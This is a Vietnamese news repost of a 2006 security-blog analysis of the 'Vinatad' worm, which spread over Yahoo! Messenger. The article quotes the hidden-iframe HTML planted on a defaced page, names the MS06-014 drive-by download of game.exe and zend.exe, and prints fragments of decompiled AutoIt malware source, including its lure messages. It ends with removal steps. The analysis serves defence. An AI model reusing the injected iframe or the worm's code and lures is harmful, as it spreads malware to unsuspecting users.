"CHIẾN ĐẤU" VỚI VINATAD

Từ hôm qua (16-11) đến giờ,

Từ hôm qua (16-11) đến giờ, dù đã cảnh giác trước "đại dịch" virus lây qua Y!M nhưng không ít người dính phải virus tạm gọi là Vinatad! TTO xin giới thiệu một bài viết về virus mới này từ Blog Bảo Mật Thông Tin như một tham khảo cho quý độc giả.

Nguyên ngày hôm qua (và có thể cả ngày hôm nay) tôi chẳng làm được gì khác ngoài việc ngồi hỗ trợ giải quyết sự cố trên hệ thống database ở cơ quan. Về đến nhà lúc đã gần 11h đêm, mệt qua quá định lăn ra ngủ thì chợt nhớ là hôm nay đội Olympic VN có đá với đội nào đó nên tôi lại mò lên mạng xem tin tức về trận đấu đó. Vừa định offline đi ngủ thì bất chợt nhận được một msg trên Yahoo! Messenger:

thuong ghe^,vinatad bi hack anh em ui,hic :(http://www.vinatad...../index.html

Vốn chẳng ham thích gì mấy cái vụ kiểu như thế này nhưng đây là lần thứ 4 trong ngày tôi nhận được 4 msg khác nhau cùng thông báo về vụ tấn công này. Tò mò tôi click thử vào đường link thì nó hiện ra một msg như thế này:

website duoc bao mat boi BKAV - That site has seccurity by BKAV
hacked by bkgenetic_g11

Chà, cái trang index.html này không đơn giản chỉ có hai dòng chữ đó vì NoScript báo cho tôi biết có một đoạn mã script vừa bị chặn lại. Tò mò, tôi liền xem mã nguồn của nó thì thấy như sau:

hacked by bkgenetic_g11
[title]website duoc bao mat boi BKAV - That site has seccurity by BKAV[/title]
[iframe name="quag" frameSpacing="0" src="http://www.free...s.com/iamblackhat/google.html" frameBorder="0" noResize width="0" height="0" target="_self"]

Có một cái iframe ẩn trỏ tới địa chỉ http://www.free...s.com/iamblackhat/google.html. Mã nguồn của anh chàng google.html. Ngoại trừ file i.js là của dịch vụ Freewebs dùng để chèn banner quảng cáo, toàn bộ đoạn script trên khá thú vị. Lướt qua thì có thể thấy mục đích của đoạn script này là download và chạy hai file http://www.vinatad.../game.exe và http://www.vinatad.../zend.exe. Để làm điều đó, tác giả khai thác lỗ hổng MS06-14:

Vulnerability in the Microsoft Data Access Components (MDAC) Function Could Allow Code Execution (911562)

A remote code execution vulnerability exists in the RDS.Dataspace ActiveX control that is provided as part of the ActiveX Data Objects (ADO) and that is distributed in MDAC. An attacker who successfully exploited this vulnerability could take complete control of an affected system.

Lỗ hổng này được Microsoft vá vào tháng 04-2006 tuy nhiên nó vẫn được sử dụng rất nhiều trong các browser-based exploit bởi vì nó rất dễ khai thác và có hiệu quả khá cao vì cũng còn tương đối mới. Thú vị hơn, tác giả đã tận dụng công nghệ AJAX thông qua object Microsoft.XMLHTTP để âm thầm download virus về máy của nạn nhân.

Nghe virus made-in-VN thì chắc hẳn bạn cũng đã đoán ra nó sử dụng AutoIt để phát tán trên Yahoo! Messenger như rất nhiều con đã xuất hiện hàng loạt trong thời gian vừa qua. Điểm khác biệt của con virus này là nó khai thác một lỗ hổng trong Internet Explorer, rồi thông qua AJAX để tự động cài đặt một cách êm đềm. Nếu như bạn chưa cập nhật Internet Explorer của mình thì chỉ cần click vào đường link gửi trên Yahoo! Messenger là ngay lập tức máy tính của bạn sẽ bị lây nhiễm.

Tôi nhanh chóng download hai file http://www.vinatad.../zend.exe và http://www.vinatad.../game.exe. Kết quả quét bằng VirusTotal như sau:

Antivirus Version Update Result
AntiVir 7.2.0.39 11.16.2006 no virus found
Authentium 4.93.8 11.16.2006 no virus found
Avast 4.7.892.0 11.15.2006 no virus found
AVG 386 11.15.2006 no virus found
BitDefender 7.2 11.16.2006 no virus found
CAT-QuickHeal 8.00 11.15.2006 TrojanDownloader.Agent.axn
ClamAV devel-20060426 11.16.2006 no virus found
DrWeb 4.33 11.16.2006 no virus found
eTrust-InoculateIT 23.73.57 11.16.2006 no virus found
eTrust-Vet 30.3.3195 11.16.2006 no virus found
Ewido 4.0 11.15.2006 no virus found
Fortinet 2.82.0.0 11.16.2006 no virus found
F-Prot 3.16f 11.16.2006 no virus found
F-Prot4 4.2.1.29 11.16.2006 no virus found
Ikarus 0.2.65.0 11.15.2006 no virus found
Kaspersky 4.0.2.24 11.16.2006 no virus found
McAfee 4896 11.15.2006 no virus found
Microsoft 1.1609 11.16.2006 no virus found
NOD32v2 1868 11.15.2006 no virus found
Norman 5.80.02 11.15.2006 no virus found

Panda 9.0.0.4 11.15.2006 no virus found
Prevx1 V2 11.16.2006 no virus found
Sophos 4.11.0 11.15.2006 no virus found
TheHacker 6.0.1.119 11.15.2006 Trojan/Downloader.AutoIt.e
UNA 1.83 11.15.2006 Backdoor.Agent.9
VBA32 3.11.1 11.15.2006 no virus found
VirusBuster 4.3.15:9 11.15.2006 no virus found

Chỉ có ba phần mềm chống virus nhận dạng được game.exe và zend.exe. Phân tích sơ lược bằng strings cho thấy cả hai file đều sử dụng AutoIt engine và được pack bằng UPX. Tôi unpack rồi load chúng lên chiếc máy ảo VMWare chạy Windows XP Service Pack 2. Khá dễ để dịch ngược mã nguồn AutoIt của cả hai con này bởi vì chúng không sử dụng bất kì phương pháp bảo vệ nào cả. Chỉ cần sử dụng chương trình Exe2AU có sẵn của AutoIt là tôi đã có mã nguồn của chúng trong tay:

```
; AUT2EXE VERSION: 3.2.0.1
; ---------------------------------------------------------------------------
; AUT2EXE INCLUDE-START: E:\hoc tap\newhack\dungyeuanh_mophat\Teach\ok\Run\game.au3
; ---------------------------------------------------------------------------
;-----------------------------------------------
; Phan Mem: DKC Bot
; Phien Ban: 1.1
; Cong Dung: Quang cao Website thong qua Y!M
; Hoan Thanh: 1-9-2006
;-----------------------------------------------------
```

Cảm giác ban đầu là hai con AutoIt này có chức năng đơn giản hơn những con AutoIt khác mà tôi đã gặp trước đây. Mã nguồn của zend.exe thậm chí chỉ có 3 dòng:

```
while(99999999)
ping ( "localhost" , 1 )
WEnd
```

Mã nguồn của game.exe thì khá "cổ điển", chia làm các thành phần như:

```
; Thiet Lap
#NoTrayIcon
$trinhduyet = "hacked by bkgenetic_g11"
$ngaunhien = Random(0,9,1)
; Website Ngau Nhien
Dim $web[10]
$website = "http://www.vinatad.../index.html"
$include = "http://www.vinatad.../hotline.html"
```

```
; Tin Nhan Ngau Nhien
Dim $tin[10]
$tin[0] = "that site hacked by bkgenetic_g11 qua dinh,phuc that,hic" & $website
$tin[1] = "thuong ghe^,vinatad bi hack anh em ui,hic :(" & $website
$tin[2] = "Po tay voi sinh vien thoi nay,hic :(" & $website
$tin[3] = "Den chiu,ca vinatad con bi hack,VNiss lam ma ???:))" & $website
$tin[4] = "bun ghe,bi hack rui^" & $website
$tin[5] = "that site hacked by bkgenetic_g11 qua dinh,phuc that,hic)" & $website
$tin[6] = "Den chiu,ko con gi de noi :))))" & $website
$tin[7] = "thuong ghe^,vinatad bi hack anh em ui,hi :))" & $website
$tin[8] = "en chiu,ca vinatad con bi hack,VNiss lam ma ??:(" & $website
$tin[9] = "en chiu,ca vinatad con bi hack,VNiss lam ma ??:(" & $website
$tinnhan = $tin[$ngaunhien]
; Lay Nhiem Vao He Thong
; Ghi Khoa Registry
; Thay Doi Status & Gui Tin Nhan
```

Khi lây nhiễm vào hệ thống, game.exe sẽ tự sao chép thành file C:\Windows\taskmng.exe. Rồi nó bắt đầu thay đổi một số thông tin trong Registry để:

- Tự động chạy khi Windows khởi động

- Sửa đổi homepage của Internet Explorer

- Vô hiệu hóa công cụ regedit và Task Manager

- Sửa đổi địa chỉ Launchcast của Yahoo! Messenger

Cuối cùng, như thường lệ, nó bắt đầu phát tán bằng cách gửi tin nhắn hàng loạt qua Yahoo! Messenger cũng như thay đổi status msg của người bị nhiễm.

Mặc dầu con virus này không mấy nguy hiểm nhưng tác giả hoàn toàn có thể thay thế game.exe hay zend.exe bằng những phiên bản khác mạnh mẽ hơn, có thể viết bằng AutoIt hay chỉnh sửa mã nguồn có sẵn của các loại virus và bot có đầy trên Internet. Khi đó với sự giúp sức của Yahoo! Messenger và những lỗ hổng của Internet Explorer, thảm họa là điều hoàn toàn có thể xảy ra. Làm thế nào để tự bảo vệ mình? Firefox + NoScript sẽ là một giải pháp dùng được.

Cách "xóa sổ" Vinatad khỏi máy của bạn

1. Close yahoo messenger /IE

2. Delete C:\WINDOWS\taskmng.exe

3. Fix regitry

HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel\
"Homepage" = ([REG_DWORD, value: 00000001])

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\System\ "DisableTaskMgr" = ([REG_DWORD, value: 00000001])

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\System\ "DisableRegistryTools" = ([REG_DWORD, value: 00000001])

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\
Main\ "Start Page" = (http://www.vinatad.../index.html)

HKEY_CURRENT_USER\Software\Yahoo\pager\View\
YMSGR_buzz\ "content url" = (http://www.vinatad.../hotline.html)

HKEY_CURRENT_USER\Software\Yahoo\pager\View\YMSGR_Launc

4. Khởi động lại máy
Theo Pastepin